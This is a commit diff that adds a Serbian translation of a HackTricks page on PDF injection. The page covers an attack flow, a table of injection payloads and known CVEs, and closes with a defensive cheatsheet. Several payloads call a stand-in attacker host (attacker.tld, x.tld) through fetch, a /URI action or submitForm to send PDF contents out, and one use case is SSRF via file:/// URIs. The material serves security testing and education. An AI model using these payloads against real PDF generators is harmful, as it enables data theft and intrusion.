mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
2cd4a3eacf
commit
62239a55da
@ -1,7 +1,56 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript ili ukrali sadržaj PDF-a.**
|
||||
|
||||
Proverite post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript, izvršili SSRF ili ukrali sadržaj PDF-a.**
|
||||
PDF sintaksa je izuzetno permisivna – ako možete da izađete iz stringa ili rečnika koji ugrađuje vaš unos, možete dodati potpuno nove objekte (ili nove ključeve u istom objektu) koje Acrobat/Chrome rado obrađuje.
|
||||
Od 2024. godine, talas izveštaja o greškama je pokazao da *jedna neizbegnuta zagrada ili obrnutu kosu crtu je dovoljno* za potpuno izvršavanje skripte.
|
||||
|
||||
## TL;DR – Moderni Tok Napada (2024)
|
||||
1. Pronađite bilo koju vrednost koju kontroliše korisnik koja se završava unutar **(stringa sa zagradama)**, `/URI ( … )` ili `/JS ( … )` polja u generisanom PDF-u.
|
||||
2. Injektujte `) ` (zatvarajući string) nakon čega sledi jedan od primitiva ispod i završite sa još jednom otvorenom zagradom kako biste zadržali sintaksu validnom.
|
||||
3. Dostavite zlonamerni PDF žrtvi (ili backend servisu koji automatski prikazuje datoteku – odlično za slepe greške).
|
||||
4. Vaš payload se izvršava u PDF pregledniku:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (vidi CVE-2024-4367)
|
||||
* Acrobat → Potpuni JavaScript API (može eksfiltrirati proizvoljne sadržaje datoteka sa `this.getPageNthWord`)
|
||||
|
||||
Primer (otmica linka za anotaciju):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*Prva `)` zatvara originalni URI string, zatim dodajemo novi **Action** rečnik koji Acrobat izvršava kada korisnik klikne na link.*
|
||||
|
||||
## Korisne injekcione primitive
|
||||
| Cilj | Payload Snippet | Napomene |
|
||||
|------|-----------------|-------|
|
||||
| **JavaScript na otvaranju** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Izvršava se odmah kada se dokument otvori (radi u Acrobat-u, ne u Chrome-u). |
|
||||
| **JavaScript na linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Radi u PDFium-u i Acrobat-u ako kontrolišete `/Link` anotaciju. |
|
||||
| **Slepa ekfiltracija podataka** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombinujte sa `this.getPageNthWord` unutar JS da ukradete sadržaj. |
|
||||
| **Server-Side SSRF** | Isto kao gore, ali ciljate internu URL adresu – odlično kada PDF renderuje back-office usluge koje poštuju `/URI`. |
|
||||
| **Prelom linije za nove objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ako biblioteka dozvoljava umetanje karaktera za novi red, možete kreirati potpuno nove objekte. |
|
||||
|
||||
## Trik sa slepom enumeracijom
|
||||
Gareth Heyes (PortSwigger) je objavio jedan-liner koji enumeriše svaki objekat unutar nepoznatog dokumenta – koristan kada ne možete videti generisani PDF:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
Kod prolazi kroz Acrobat DOM i pravi izlazne zahteve za svaku par svojstvo/vrednost, dajući vam *JSON-ish* ispis datoteke.
|
||||
Pogledajte belešku “Portable Data **ex**Filtration” za punu tehniku.
|
||||
|
||||
## Real-World Bugs (2023-2025)
|
||||
* **CVE-2024-4367** – Arbitrarna JavaScript izvršenja u Firefox-ovom PDF.js pre 4.2.67 zaobišla je sandbox sa kreiranom `/JavaScript` akcijom.
|
||||
* **Bug bounty 2024-05** – Veliki fintech je dozvolio beleške o fakturama koje su dostavili kupci, a koje su završile u `/URI`; izveštaj je plaćen $10k nakon demonstracije SSRF na internom metapodatkovnom hostu koristeći `file:///` URI.
|
||||
* **CVE-2023-26155** – `node-qpdf` komanda-injekcija putem nefiltrirane PDF putanje pokazuje važnost eskapiranja obrnutih kosa crta i zagrada čak i *pre* PDF sloja.
|
||||
|
||||
## Defensive Cheatsheet
|
||||
1. **Nikada ne spajajte sirovi korisnički unos** unutar `(`…`)` stringova ili imena. Eskapirajte `\`, `(`, `)` kako zahteva §7.3 PDF specifikacije ili koristite heksadecimalne stringove `<...>`.
|
||||
2. Ako pravite linkove, preferirajte `/URI (https://…)` koje ste *potpuno* URL-enkodirali; blokirajte `javascript:` sheme u klijentskim preglednicima.
|
||||
3. Uklonite ili validirajte `/OpenAction`, `/AA` (dodatne akcije), `/Launch`, `/SubmitForm` i `/ImportData` rečnike prilikom post-procesiranja PDF-ova.
|
||||
4. Na serverskoj strani, renderujte nepouzdane PDF-ove sa *headless konvertorom* (npr. qpdf –decrypt –linearize) koji uklanja JavaScript i spoljne akcije.
|
||||
5. Održavajte PDF preglednike ažuriranim; PDF.js < 4.2.67 i Acrobat Reader pre jula 2024. zakrpe omogućavaju trivijalno izvršavanje koda.
|
||||
|
||||
## References
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (ažurirano maj 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user